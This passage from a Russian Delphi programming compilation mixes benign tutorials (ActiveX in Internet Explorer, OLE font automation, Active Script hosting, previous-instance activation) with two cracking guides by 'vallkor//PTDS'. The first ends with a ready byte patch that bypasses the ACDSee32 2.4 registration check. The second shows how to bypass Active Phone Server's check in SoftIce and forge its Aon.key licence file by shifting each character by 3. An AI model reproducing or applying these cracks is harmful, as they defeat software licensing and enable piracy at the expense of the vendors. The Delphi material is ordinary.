:0040676D 6888034E00 push 004E0388 :00406772 E819230500 call 00458A90 :00406777 83C410 add esp, 00000010 :0040677A B801000000 mov eax, 00000001 :0040677F 90 nop :00406780 5F pop edi :00406781 A340004E00 mov dword ptr [004E0040], eax :00406786 5E pop esi :00406787 81C424020000 add esp, 00000224 :0040678D C3 retТаким образом, на выходе из процедуры всегда будет записываться в eax 1. (если вы хотите видеть в окне о программе своё имя, то нужно либо сперва ввести имя и рег код в окне регистрации, а потом кракать, либо пойти в системный реестр по адресу HKEY_LOCAL_MACHINE\Software\ACD Systems\ACDSee32 и в поля RegCode и RegName вписать ваши реквизиты) Как всегда прилагаю готовый крак:
-------вырезать тут----------- Acdsee32 v 2.4 Crack by vallkor//PTDS (vallkor@chat.ru) All checked! Acdsee32.exe 0000677A: F7 B8 0000677B: D8 01 0000677C: 1B 00 0000677D: C0 00 0000677E: 5F 00 0000677F: F7 90 00006780: D8 5F 00006754: 7D EB 00006736: 1F 00 -------вырезать тут-----------PS: эта статья была написана для людей, мало-мальски разбирающихся в исследовании программ, но я попытался описать всё доступным для новичков языком, поэтому если эксперимент у меня не удался - камнями не кидайтесь. исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru) {Комманда PTDS нуждается в новых членах! Если вы считаете, что способны на многое и хотите поделиться своими знаниями и взамен получить новые пишите мне}
Action-объекты в многопоточных приложениях.
Оформил: DeeCo
Автор: Александр Родыгин.
С момента представления классов TAction и TActionList в Delphi 4 прошло уже достаточно много времени, однако, ни в документации Borland ни в литературе эти компоненты VCL достаточно глубоко не рассматриваются. Значение этих объектов невозможно переоценить, так как они предоставляют объектно-ориентированный способ организации связей между участками приложения. Если спроектировать систему так, что каждое действие пользователя будет представлено соответствующим Action-объектом, то при необходимости изменить GUI понадобиться только связать существующие Action-объекты с другими элементами управления. Организация процесса разработки подобным образом позволит создавать более качественное ПО за меньшее время. Конечно, увеличение скорости разработки за счет использования компонентов ведет, как правило, к снижению производительности системы, что в некоторых случаях неприемлемо. Однако, при постоянном увеличении мощности аппаратных средств, число подобных ситуаций становится все меньше.Активизация предыдущего экземпляра вашей программы.
Если внутренняя переменная hPrevInst не равна нулю, то она содержит дескриптор предыдущего запущенного экземпляра вашей программы. Вы просто находите открытое окно по его дескриптору и, при необходимости, выводите на передний план. Весь код расположен в файле .DPR file, НЕ в модуле. Строки, которые вам необходимо добавить к вашему .DPR-файлу, в приведенном ниже примере помечены {*}.
program Once;
uses
{*} WinTypes, WinProcs, SysUtils,
Forms,
Onceu in 'ONCEU.PAS' {Form1};
{$R *.RES}
{*}TYPE
{*} PHWND = ^HWnd;
{*} FUNCTION EnumWndProc(H : hWnd; P : PHWnd) : Integer; Export;
{*} VAR ClassName : ARRAY[0..30] OF Char;
{*} BEGIN
{*} {Если это окно принадлежит предшествующему экземпляру...}
{*} IF GetWindowWord(H, GWW_HINSTANCE) = hPrevInst THEN
{*} BEGIN
{*} {... проверяем КАКОЕ это окно.}
{*} GetClassName(H, ClassName, 30);
{*} {Если это главное окно приложения...}
{*} IF StrIComp(ClassName, 'TApplication') = 0 THEN
{*} BEGIN
{*} {... ищем}
{*}{*} P^ := H;
{*} EnumWndProc := 0;
{*} END;
{*} END;
{*} END;
{*} PROCEDURE CheckPrevInst;
{*} VAR PrevWnd : hWnd;
{*} BEGIN
{*} IF hPrevInst <> 0 THEN
{*} {Предыдущий экземпляр запущен}
{*} BEGIN
{*} PrevWnd := 0;
{*} EnumWindows(@EnumWndProc, LongInt(@PrevWnd));
{*} {Ищем дескриптор окна предыдущего}
{*} {экземпляра и активизируем его}
{*} IF PrevWnd <> 0 THEN
{*} IF IsIconic(PrevWnd) THEN
{*} ShowWindow(PrevWnd, SW_SHOWNORMAL)
{*} ELSE BringWindowToTop(PrevWnd);
{*} Halt;
{*} END;
{*} END;
begin
{*} CheckPrevInst;
Application.Title := 'Once';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
|
Пример использования ActiveControl.
Автор: Галимарзанов Фанис.
TForm имеет свойство ActiveControl. Очень часто требуется для нескольких DBGrid на форме обеспечить обработку через общий TSpeedBar. Посмотрите, как описан код обработки события Click кнопки SpeedBar - циклический просмотр на совпадение ActiveControl.Name с именем Grid.
procedure TfmAb.insClick(Sender: TObject); // кнопка "Новая запись"
begin
if ActiveControl.Name='grFio' then
EditAbProps(true)
else
if ActiveControl.Name='grAbLgot' then
EditAbLgot(grAbLgot.DataSource,true)
else
............
end;
|
Или.
procedure TfmAbDelClick(Sender: TObject); // кнопка "Удалить запись"
begin
if ActiveControl.Name='grFio' then
DelRec(dm.taAb)
else
if ActiveControl.Name='grAbLgot' then
DelRec(dm.taAbLgot)
else
............
end;
|
ActiveControl имеет DataSet.
Автор: OAmiry (Borland)Для успешного кодирования необходимо включить typinfo в список используемых модулей. Код данного примера инвертирует логическое свойство Active набора данных, связанного с активным элементом управления при каждом нажатии пользователем клавиши ESC.
procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
PropInfo: PPropInfo;
PropValue: TObject;
ds: TDataSource;
begin
if Key = VK_ESCAPE then
{ Основной код ниже }
try
ds := nil;
{ Проверяем, имеет ли компонент свойство DataSource }
PropInfo := GetPropInfo(ActiveControl.ClassInfo, 'DataSource');
if PropInfo <> nil then
{ Свойство компонента datasource типа class (например, TDataSource) }
if PropInfo^.PropType^.Kind = tkClass then
begin
PropValue := TObject(GetOrdProp(ActiveControl, PropInfo));
{ Создаем слепок найденного TDataSource }
ds := (PropValue as DB.TDataSource);
{ Используем dataset, связанный с datasource }
if not (ds.DataSet.State in dsEditModes) then
ds.DataSet.Active := not ds.DataSet.Active;
end;
except
on E: EInvalidCast do
ShowMessage('Ошибка. Ожидался DataSource');
end;
end;
|
Связка ActiveX - Internet Explorer.
| Спрашиваю я детей, как то: - А что самое главное при работе с компьютером? А они мне отвечают: - Главное сразу не упасть в обморок. |
А знаете ли вы, что на Delphi можно писать ActiveX компоненты? Конечно знаете. А что с их помощью можно взаимодействовать с Internet Explorer? Это может быть интересно для профессиональных вебмастеров, скажете вы, но я не согласен. "Простой" программист тоже может найти массу применений этому. Здесь будет описано одно из них. Все мы лазим (ходим и т.д.) по интернету. И вы тоже - раз читаете эти строки :). А не случалось ли вам, случайно где-то побывав, что-то прочитав и благополучно забыв адрес сайта через некоторое время вдруг понять, что там было именно то, что вам сейчас срочно понадобилось? Можно конечно посмотреть History браузера, можно залезть в кэш "руками" и попытаться найти там что-то. А можно написать компонент, который бы искал слова в файлах кэша (в общем случае в любых HTML-файлах) и выводил бы на просмотр требуемые файлы. Связать этот компонент с Эксплорером - и вперед. Что удобно - вся работа происходит в эксплорере: и поиск, и,естественно, просмотр. При этом для Delphi-программиста не нужны особые знания языка HTML, скриптовых языков и т.п. Достаточно знать несколько основных конструкций (а уж справочных руководств в интернете навалом - хотя бы на http://www.citforum.ru). Написанный ActiveX-компонент вставляется в HTML-страничку. Вот пример простейшей странички.
| <HTML> <HEAD> <TITLE>Поиск</TITLE> </HEAD> <BODY> <P ALIGN=CENTER> <OBJECT ID="findword1" - {при помощи этого тэга компонент вставляется в страничку} CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6" CODEBASE="C:\PATH\FINDWORDS.OCX"> </OBJECT> </P> </BODY> </HTML> |
В этом примере ActiveX-компонент, находящийся в файле C:\PATH\FINDWORDS.OCX вставляется в HTML-страничку. Но важно отметить, что эта страничка откроется только в Microsoft Internet Explorer версии 4 и старше. Пишут, что третий эксплорер тоже поддерживает тэг <OBJECT>, но сам не пробовал, не знаю. Браузеры Netscape, Opera и какие еще там бывают, его не поддерживают.
Итак, тэг <OBJECT> вставляет в страничку ActiveX-компонент. Его атрибут CLASSID указывает идентификатор класса нашего компонента. При создании в Delphi компонента с нуля ему автоматически присваивается этот идентификатор класса. ID="findword1" - имя объекта. Здесь можно писать любое имя. По нему мы в дальнейшем будем ссылаться на наш компонент в теле странички из скриптов-процедур обработки событий. Далее, для того, чтобы наш компонент мог использоваться прикладными программами, он должен быть зарегистрирован в реестре. Зарегистрировать его можно программой regsvr32, которая по умолчанию находится в каталоге [System]. Например так: [regsvr32 C:\PATH\FINDWORDS.OCX]. Если при открытии странички Explorer не находит в реестре указанный компонент, то он ищет его в местоположении, указанном атрибутом CODEBASE. Здесь может быть полный путь к файлу, если он находится на вашем жестком диске или даже URL-адрес (со всеми сопутствующими атрибутами, как то http:// и т.д.).Т.е, если эксплорер встретил ссылку на компонент, а этого компонента нет на вашей машине, он может загрузить его из интернета с указанного адреса. Кстати, атрибут CLASSID - обязательный, именно по нему производится "идентификация" класса. А атрибут CODEBASE - необязательный. В случае, когда он опущен, если компонент уже зарегистрирован в системе, то он отобразится в вашей страничке, если не зарегистрирован - страничка будет пустой. И наконец если эксплорер сам регистрирует компонент, он переписывает файл OCX в папку [Windows\Downloaded program files].
Для того, чтобы вручную не писать скрипты подсоединения ActiveX компонентов, я советую скачать программу Microsoft ActiveX Control Pad. Эта программа предназначена для внедрения ActiveX-компонентов в HTML-странички. После ее работы определение компонента выглядит примерно так:
| <OBJECT ID="findword1" CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6" CODEBASE="C:\PATH\FINDWORDS.OCX"> <PARAM NAME="Visible" VALUE="-1"> <PARAM NAME="AutoScroll" VALUE="0"> <PARAM NAME="AutoSize" VALUE="0"> <PARAM NAME="AxBorderStyle" VALUE="1"> <PARAM NAME="Caption" VALUE="findword"> <PARAM NAME="Color" VALUE="2147483663"> <PARAM NAME="Font" VALUE="MS Sans Serif"> <PARAM NAME="KeyPreview" VALUE="0"> <PARAM NAME="PixelsPerInch" VALUE="96"> <PARAM NAME="PrintScale" VALUE="1"> <PARAM NAME="Scaled" VALUE="-1"> <PARAM NAME="DropTarget" VALUE="0"> <PARAM NAME="HelpFile" VALUE=""> <PARAM NAME="DoubleBuffered" VALUE="0"> <PARAM NAME="Enabled" VALUE="-1"> <PARAM NAME="BiDiMode" VALUE="0"> <PARAM NAME="Cursor" VALUE="0"> <PARAM NAME="filename" VALUE="nothing"> </OBJECT> |
Т.е. эта программа сама подставляет полное определение компонента (его CLASSID, например). Правда, полученный код иногда приходится подправлять вручную. Например может потребоваться убрать явное указание высоты и ширины объекта.
Теперь подходим к самому главному: как сделать сам компонент (чтобы было что вставлять в нашу страничку :). Итак, в Delphi делаем New\ActiveX\Active form. В окошке Active Form Wizard выбираем Threading model=Apartment. Другие threading models не работают с IE 4. Выглядит это так: компонент в страничке открывается, но иногда вдруг выскакивает Access violation. (обычно на событие Create). Модель же Both работает с IE 5. Флажок "Include Design-Time licence" лучше не устанавливать. Дальше открывается новая форма, где вы можете размещать свои кнопки-текстбоксы, определять реакцию на события и т.д.
Далее будут описаны некоторые хитрости. Например, нужно хранить некоторые данные во внешнем файле. Я столкнулся со следующим: мой компонент на разных машинах размещал свои файлы в разных местах: на одной в каталоге Windows, на другой - на рабочем столе. Был найден такой выход: пусть страничка по требованию компонента возвращает ему каталог, в котором она находится. Для этого на форму я поместил PageControl, сделал закладки невидимыми и на OnShow (у формы ActiveX компонента нет события OnShow) одной из страниц поставил генерацию собственного события OnWantDir. А в теле HTML-странички соответственно реакцию на него:
| <SCRIPT LANGUAGE="VBScript"> <!-- Sub findword1_OnWantDir() findword1.page_location = location.href end sub --> </SCRIPT> |
Далее, это событие OnShow происходит сразу после создания экземпляра компонента. Так вот, если событие OnWantDir генерировать непосредственно в нем (в OnShow), то видимо что-то в недрах Windows не успевает провернуться и машина виснет. Поэтому пришлось повесить на форму таймер, на OnShow таймер запускать, и уже на OnTimer как раз и вызывать свое событие OnWantDir. Интервал у таймера я поставил в полсекунды. Конечно можно было бы хранить свои файлы например в каталоге [Windows], но почему-то функция GetWindowsDirectory при вызове из ActiveX-компонента возвращала ошибку, хотя тут же нормально отрабатывала из обыкновенного приложения (exe). То же и с GetSystemDirectory и GetTempDirectory. Кто не знает как делать собственные свойства и события - кликайте сюда.
Как сделать компонент тиражируемым? Чтобы пользователь смог работать с ним сразу же, не запуская никаких дополнительных программ, не указывая всяких-разных путей и т.д. Вот пример HTML-странички:
| <html> <HEAD> <title>Поиск</title> <SCRIPT LANGUAGE="VBScript"> <!-- Sub Procedure1() location.href = findword1.NewStroke {Получить от компонента имя файла и открыть его для просмотра. Эта процедура запускается при возникновении события OnDocClick. Location - объект Explorer'а (см. документацию по VBScript)} end sub --> </SCRIPT> </HEAD> <BODY> <SCRIPT LANGUAGE="VBScript"> <!-- Sub findword1_OnWantDir() findword1.page_location = location.href {Получить текущий каталог, т.е. свойству page_location объекта присвоить местоположение нашей странички} end sub Sub findword1_OnDocClick() {При возникновении события OnDocClick вызвать процедуру Procedure1 (открыть файл для просмотра)} call Procedure1() end sub --> </SCRIPT> <p align = "center"> <OBJECT ID="findword1" CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6" CODEBASE="findwords.ocx"> {Здесь просто имя файла без пути. Explorer зарегистрирует компонент невидимо для пользователя, взяв его из текущего каталога (страничка и файл OCX находятся в одном каталоге)} <PARAM NAME="Visible" VALUE="-1"> <PARAM NAME="AutoScroll" VALUE="0"> <PARAM NAME="AutoSize" VALUE="0"> <PARAM NAME="AxBorderStyle" VALUE="1"> <PARAM NAME="Caption" VALUE="findword"> <PARAM NAME="Color" VALUE="2147483663"> <PARAM NAME="Font" VALUE="MS Sans Serif"> <PARAM NAME="KeyPreview" VALUE="0"> <PARAM NAME="PixelsPerInch" VALUE="96"> <PARAM NAME="PrintScale" VALUE="1"> <PARAM NAME="Scaled" VALUE="-1"> <PARAM NAME="DropTarget" VALUE="0"> <PARAM NAME="DoubleBuffered" VALUE="0"> <PARAM NAME="Enabled" VALUE="-1"> <PARAM NAME="BiDiMode" VALUE="0"> <PARAM NAME="Cursor" VALUE="0"> <PARAM NAME="filename" VALUE="nothing"> <PARAM NAME="page_location" VALUE=""> </OBJECT> </p> </BODY> </html> |
И еще раз: Открываем нашу страничку (в IE 4 и выше) Если компонент зарегистрирован, он сразу показывается, если не зарегистрирован, то регистрируется и показывается. При этом: После создания выдерживается пауза в полсекунды и запрашивается текущий каталог (и страничка и сам OCX-файл находятся в одном каталоге, который и будет текущим). Если нужно открыть на просмотр какую либо страничку (выбранную пользователем в процессе работы из списка), то свойству компонента (при внедрении его в страничку правильнее будет называть его уже объектом) присваивается значение (имя файла), генерируется событие. Процедура-скрипт обработчик этого события читает свойство и отрывает требуемый файл.
Управление свойством Font через сервер автоматизации.
| "Сервера" - это такое специальное слово, которым системные инженера называют особо мощные компьютера. А еще они частенько ищут драйвера, чтобы подключать сканера, и покупают тонера, чтобы устанавливать в принтера. За что их и уважают юзера. |
Unit1 использует Unit2. Unit2 содержит форму, компонент Memo и StatusBar для отображения каждого реализованного метода, для диагностических целей.
Создайте Unit2, содержащий форму с компонентами TMemo и TStatusBar. Форма используется для отображения жизнедеятельности в модуле Unit1.pas. Это шаг не является строго обязательным, он помогает понять что происходит в данный момент между клиентом автоматизации и сервером. Создайте клиент автоматизации. В нашем случае модуль имеет имя FontCli, содержит метку, показывающую текущий шрифт и кнопку, устанавливающую MyFont на сервере.
unit Project1_TLB;
{ Данный файл содержит паскалевские декларации, импортированные из
библиотеки типов. Данный файл записывается во время каждого импорта
или обновления (refresh) в редакторе библиотеки типов. Любые изменения
в данном файле будут потеряны в процессе очередного обновления. }
{ Библиотека Project1 }
{ Версия 1.0 }
interface
uses Windows, ActiveX, Classes, Graphics, OleCtrls, StdVCL;
const
LIBID_Project1: TGUID = '{29C7AC94-0807-11D1-B2BA-0020AFF2F575}';
const
{ GUID'ы класса компоненты }
Class_MyFontServer: TGUID = '{29C7AC96-0807-11D1-B2BA-0020AFF2F575}';
type
{ Предварительные объявления: Интерфейсы }
IMyFontServer = interface;
IMyFontServerDisp = dispinterface;
{ Предварительные объявления: СоСlаssе'ы }
MyFontServer = IMyFontServer;
{ Диспинтерфейс для объекта MyFontServer }
IMyFontServer = interface(IDispatch)
['{29C7AC95-0807-11D1-B2BA-0020AFF2F575}']
function Get_MyFont: IFontDisp; safecall;
procedure Set_MyFont(const Value: IFontDisp); safecall;
property MyFont: IFontDisp read Get_MyFont write Set_MyFont;
end;
{ Объявление диспинтерфейса для дуального интерфейса IMyFontServer }
IMyFontServerDisp = dispinterface
['{29C7AC95-0807-11D1-B2BA-0020AFF2F575}']
property MyFont: IFontDisp dispid 1;
end;
{ MyFontServerObject }
CoMyFontServer = class
class function Create: IMyFontServer;
class function CreateRemote(const MachineName: string): IMyFontServer;
end;
implementation
uses ComObj;
class function CoMyFontServer.Create: IMyFontServer;
begin
Result := CreateComObject(Class_MyFontServer) as IMyFontServer;
end;
class function CoMyFontServer.CreateRemote(const MachineName: string):
IMyFontServer;
begin
Result := CreateRemoteComObject(MachineName, Class_MyFontServer) as
IMyFontServer;
end;
end.
{--------------------------------------------------------------------}
unit Unit1;
interface
uses
ComObj, Project1_TLB, ActiveX, Graphics;
type
TMyFontServer = class(TAutoObject, IMyFontServer)
private
FFont: TFont;
public
procedure Initialize; override;
destructor Destroy; override;
function Get_MyFont: IFontDisp; safecall;
procedure Set_MyFont(const Value: IFontDisp); safecall;
end;
implementation
uses ComServ, AxCtrls, Unit2;
procedure TMyFontServer.Initialize;
begin
inherited Initialize;
FFont := TFont.Create;
end;
destructor TMyFontServer.Destroy;
begin
FFont.Free;
inherited Destroy;
end;
function TMyFontServer.Get_MyFont: IFontDisp;
begin
FFont.Assign(Form2.Label1.Font);
GetOleFont(FFont, Result);
end;
procedure TMyFontServer.Set_MyFont(const Value: IFontDisp);
begin
SetOleFont(FFont, Value);
Form2.Label1.Font.Assign(FFont);
end;
initialization
TAutoObjectFactory.Create(ComServer, TMyFontServer, Class_MyFontServer,
ciMultiInstance);
end.
{--------------------------------------------------------------------}
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm2 = class(TForm)
Label1: TLabel;
end;
var
Form2: TForm2;
implementation
{$R *.DFM}
end.
{--------------------------------------------------------------------}
unit FontCli1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, StdVCL, Project1_TLB;
type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
FontDialog1: TFontDialog;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
public
MyFontServer: IMyFontServer;
end;
var
Form1: TForm1;
implementation
uses ActiveX, AxCtrls;
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
Temp: IFontDisp;
begin
if (FontDialog1.Execute) then
begin
Label1.Font.Assign(FontDialog1.Font);
GetOleFont(Label1.Font, Temp);
MyFontServer.Set_MyFont(Temp);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
MyFontServer := CoMyFontServer.Create;
end;
end.
|
GetOleFont и SetOleFont определены в AxCtrls.pas. IFontDisp определен в ActiveX.pas.
Кнопка заголовка активного окна.
Вы должны сами рисовать кнопку и обрабатывать ее перерисовку для показа вдавленного состояния. Затем, для активизации кнопки, вам необходимо реагировать на сообщение WM_NCHITTEST. Вот пример кода, рисующего безобразный зеленый контур вокруг красного прямоугольника около системного меню:
procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
R: TRect;
begin
inherited;
Canvas.Handle := GetWindowDC(Handle);
R := Bounds(GetSystemMetrics(SM_CXFRAME) +
GetSystemMetrics(SM_CXSIZE) + 1,
GetSystemMetrics(SM_CYFRAME),
GetSystemMetrics(SM_CXSIZE),
GetSystemMetrics(SM_CYSIZE));
with Canvas do
begin
Brush.Color := clRed;
Pen.Color := clLime;
Rectangle(R.Left, R.Top, R.Right, R.Bottom);
end;
ReleaseDC(Handle, Canvas.Handle);
end;
|
Исследование Active Phone Server.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Итак, эта тулзень настолько мне понравилась, что я даже вижжу от радости :) Но мне захотелось посмотреть, как устроена регистрация этой программки, хочу сразу сказать, что программа не проявляет никаких признаков незарегистрированности, кроме надписи Unregistred в окне "О программе" Но жажда приключений зовёт в путь... Необходимые инструменты: 1)SoftIce 2)Нервы 3)Мозг не обязателен (нафиг вам мозги??? - хай комп думает) Поехали: Я запускаю программу, открываю окно "About", ввожу имя: vallkor, РН: 123321 ставлю бряк в айсе: bpx MessageBoxA и нажимаю кнопку "Enter" (в программе, а не на клаве), при этом выскакиваю в айсе и нажимаю 2 раа F12, чтобы вернуться из системной библиотеки, мы тут:015F:10016C18 E853ECFEFF CALL 10005870Теперь посмотрим выше в поисках условного перехода, который мог привести к такому грустному сообщению, и в 10 строках выше видим:
015F:10016BF1 E89A000000 CALL 10016C90 <-- вызов процедуры проверки 015F:10016BF6 83C404 ADD ESP,04 015F:10016BF9 85C0 TEST EAX,EAX 015F:10016BFB 740E JZ 10016C0B <--ЕСЛИ Неправильный РН - прыгаем на плохое сообщениеЗайдём в процедуру проверки (F8) и, проскролив совсем немного, видим:
015F:10016D08 E873FCFFFF CALL 10016980 <--сравниваем наш РН с правильным 015F:10016D0D 83C408 ADD ESP,08 015F:10016D10 85C0 TEST EAX,EAX 015F:10016D12 0F84E2000000 JZ 10016DFA <--прыжок, если не равныКак окажется потом, нам правильный РН и не нужен. Итак, когда будет выполняться условный переход
JZ 10016DFAнужно изменить флаг ZF на противоположный, чтобы не прыгнуть, а посмотреть, что же будет делать программка, если наш и правильный РН окажутся одинаовыми. После того, как мы это изменили, посмотрим, что же делает дальше программка:
...поскипано не нужное... 015F:10016DAE 52 PUSH EDX <--в edx имя файла: c:\Program Files\Apserver\Aon.key 015F:10016DAF FF15FCD00110 CALL [KERNEL32!CreateFileA] <--создаём файл с таким именем ...поскипано... 015F:10016DBD 8B1D2CD10110 MOV EBX,[KERNEL32!WriteFile] <--заганяем в ebx адрес функции записи в файлпотом в файл делается две записи:
1).рН 2)456654 ydoonruНетрудно даже невооруженным глазом определить, что первая запись (.рН) указывает на то, что в фале хранится регистрационная информация а вторая запись ( 456654 ydoonru) - это наш РН и имя пользователя, разделённые символомами ( ), каждый символ РН и имени пользователя увеличен на 3, т.е.
456654 = 123321 ydoonru = vallkorПробуем теперь перезапустить программу... и видим, что в окне "About" наше имя в качестве зарегистрированного пользователя, с чем мы себя и поздравляем :) Теперь каждый может таким вот образом при помощи софтайса создать себе такой файлик и наслаждаться жизнью. При попытке изменения вручную файла Aon.key у меня в окне о программе опять появилась надпись Unregistred, т.е. в тех неизвестных байтах ( ) хранится что-то типа проверочной суммы (Check Sum), но разбираться мне уже было лень, да и зачем, ведь рабочий файлик получен и за 40 секунд такой же самый можно сделать для любого имени! ВсЁ! PS: Если бы имел лишние бабки - обязательно бы заплатил за такую чудную программку, чеснслово :) чего и вам желаю. Исследовал и наваял туториал: vallkor //PTDS E-mail: vallkor@chat.ru Page : http://vallkor.chat.ru
Используем Active Script - шаг за шагом.
Оформил: DeeCo
Автор: Акуличев Дмитрий.
Возникало ли у вас желание изменить поведение своей программы без перекомпиляции? Просили пользователи вашего приложения сделать так, чтобы "мы сами могли что-то там изменить"? Вы перерыли всю Сокровищницу в поисках лучшего "парсера математических выражений"? Возможно, здесь вы найдете что-то полезное для себя.
Технология Active Script предоставляет простой способ оснастить любое приложение поддержкой сценариев (scripts). Сценарии – нечто большее чем еще один способ представления программного кода, но речь сейчас не о том. Возможно, что понимание для чего использовать тот или иной инструмент станет более ясным после ответа на вопрос как использовать этот инструмент. Это и будет темой настоящей статьи.
Сразу оговорюсь, что при написании статьи не ставилась цель дать перевод или пересказ фирменной документации. Вместо этого я постараюсь дать простой, но приближенный к реальности практический пример. Настоятельно рекомендую прямо сейчас скачать прилагаемый к статье архив. В нем вы найдете необходимый интерфейсный модуль, файл справки, который можно подключить к контекстной справке Delphi, и тексты рассматриваемого учебного приложения.
Итак, в путь!
Шаг 0: Собираясь в дорогу.
Прежде всего, нам понадобится описание всех необходимых интерфейсов, типов и констант. Все описания, относящиеся непосредственно к Active Script содержатся в модуле activescp.pas в прилагаемом архиве. Все остальное, что может нам потребоваться, можно найти в стандартных модулях ComObj и ActiveX.
Использование Active Script предполагает взаимодействие двух элементов: машины сценариев (script engine) и носителя сценария (script host). Машина сценариев предоставляется, как правило, сторонним поставщиком. К примеру, Microsoft поставляет в комплекте с браузером Internet Explorer (а фактически в составе операционной системы) целых две скрипт-машины: Visual Basic Scripting Edition (VBScript) и совместимый со стандартом ECMA JScript. Интерфейсы машины сценариев мы подробнее рассмотрим позже, а сейчас самое время создать каркас носителя сценария.
Носитель сценария должен реализовывать обязательный интерфейс IActiveScriptSite и может реализовывать дополнительный интерфейс IActiveScriptSiteWindow. Интерфейс IActiveScriptSite – основной путь взаимодействия машины сценария и носителя. Через этот интерфейс скрипт-машина получает от носителя информацию о прикладных объектах, уведомляет об изменениях своего состояния и ошибках в сценарии. Полностью интерфейс IActiveScriptSite выглядит следующим образом:
IActiveScriptSite = interface(IUnknown)
function GetLCID(// Запрос языка носителя
out plcid: LCID
): HResult; stdcall;
function GetItemInfo(// Запрос прикладного объекта
pstrName: LPCOLESTR; // имя объекта
dwReturnMask: DWORD; // запрашиваемая информация
out ppiunkItem: IUnknown; // интерфейс объекта
out ppti: ITypeInfo // инфомация о типе объекта
): HResult; stdcall;
function GetDocVersionString(// Запрос версии сценария
out pbstrVersion: WideString
): HResult; stdcall;
function OnScriptTerminate(// Уведомление о завершении
var pvarResult: OleVariant; // возвращаемое значение
var pexcepinfo: EXCEPINFO // информация об ошибке
): HResult; stdcall;
function OnStateChange(// Уведомление об изменении состояния
ssScriptState: SCRIPTSTATE // новое состояние
): HResult; stdcall;
function OnScriptError(// Уведомление об ошибке
const pscripterror: IActiveScriptError
): HResult; stdcall;
// Начало исполнения
function OnEnterScript: HResult; stdcall;
// Окончание исполнения
function OnLeaveScript: HResult; stdcall;
end;
Реализация интерфейса IActiveScriptSiteWindow может потребоваться в том случае, если машина сценариев предоставляет возможность сценарию создавать интерактивные элементы (например, функция MsgBox в VBScript). Интерфейс очень простой:
IActiveScriptSiteWindow = interface(IUnknown) function GetWindow(out phwnd: HWND): HResult; stdcall; function EnableModeless(fEnable: BOOL): HResult; stdcall; end;
Метод GetWindow должен вернуть дескриптор окна, которое будет родительским для всех дополнительных окон (например, диалогов), которые может создавать сценарий. Метод EnableModeless вызывается как уведомление о том, что сценарий собирается отображать модальный диалог.
Реализацию интерфейсов носителя сценария можно, в принципе, возложить на любой объект в приложении, но в нашем случае простого учебного проекта имеет смысл реализовать эти интерфейсы в главной форме. Добавим модули activescp и ActiveX в список модулей, и изменим описание класса формы следующим образом:
TForm1 = class(TForm, IActiveScriptSite, IActiveScriptSiteWindow)
private
{ Private declarations }
protected
{IActiveScriptSite}
function GetLCID(out plcid: LCID): HResult; stdcall;
function GetItemInfo(pstrName: LPCOLESTR; dwReturnMask: DWORD;
out ppiunkItem: IUnknown; out ppti: ITypeInfo): HResult; stdcall;
function GetDocVersionString(
out pbstrVersion: WideString): HResult; stdcall;
function OnScriptTerminate(var pvarResult: OleVariant;
var pexcepinfo: EXCEPINFO): HResult; stdcall;
function OnStateChange(
ssScriptState: SCRIPTSTATE): HResult; stdcall;
function OnScriptError(
const pscripterror: IActiveScriptError): HResult; stdcall;
function OnEnterScript: HResult; stdcall;
function OnLeaveScript: HResult; stdcall;
protected
{IActiveSriptSiteWindow}
function GetWindow(out phwnd: HWND): HResult; stdcall;
function EnableModeless(fEnable: BOOL): HResult; stdcall;
public
{ Public declarations }
end;
Реализацию части методов можно выполнить сразу:
function TForm1.GetLCID(out plcid: LCID): HResult; begin plcid := GetSystemDefaultLCID; Result := S_OK; end; function TForm1.GetWindow(out phwnd: HWND): HResult; begin phwnd := Handle; Result := S_OK; end;
Это будет их полная и неизменная реализация. Для остальных же методов пока используем заглушки. Методы запроса информации пометим как нереализованные:
function TForm1.GetDocVersionString( out pbstrVersion: WideString): HResult; begin Result := E_NOTIMPL; end; function TForm1.GetItemInfo(pstrName: LPCOLESTR; dwReturnMask: DWORD; out ppiunkItem: IUnknown; out ppti: ITypeInfo): HResult; begin Result := E_NOTIMPL; end;
Остальные методы представляют собой уведомления, поэтому в их реализации просто вернем S_OK, в будущем в них будет, возможно, более серьёзная реакция. Полностью каркас носителя сценария можно найти в папке Step0 прилагаемого архива.
Шаг 1: Поехали!
Теперь у нас все готово для серьезного дела. Начнем же мы с создания и завершения машины сценариев. Как уже было сказано, в системе может быть установлено несколько скрипт-машин, поэтому имеет смысл все связанное с выбором конкретного языка сценария и реализации скрипт-машины выделить в отдельный модуль. В архиве находится готовый модуль Scripts, содержимое его достаточно тривиально, просто включите его в проект. Скажу только, что при желании использовать машины сценариев сторонних производителей достаточно только расширить перечислимый тип TScriptLanguage и массив ScriptProgIDs.
Добавим в описание класса формы следующие объявления:
TForm1 = class(TForm, IActiveScriptSite, IActiveScriptSiteWindow) ... private FEngine: IActiveScript; FParser: IActiveScriptParse; procedure CreateScriptEngine(Language: TScriptLanguage); procedure CloseScriptEngine; ... end;
Поле FEngine будет содержать ссылку на основной интерфейс машины сценариев, а поле FParser будет содержать ссылку на дополнительный интерфейс интерпретатора сценария.
В метод CreateScriptEngine поместим код создания COM-объекта машины сценариев, запроса интерфейсов, установка ссылки на носитель и инициализации:
procedure TForm1.CreateScriptEngine(Language: TScriptLanguage); begin CloseScriptEngine; FEngine := CreateComObject(ScriptCLSIDs[Language]) as IActiveScript; FParser := FEngine as IActiveScriptParse; FEngine.SetScriptSite(Self); FParser.InitNew; end;Метод CloseScriptEngine будет использоваться для корректного завершения скрипт-машины и освобождения ссылок на используемые интерфейсы:
procedure TForm1.CloseScriptEngine;
begin
FParser := nil;
if FEngine <> nil then
FEngine.Close;
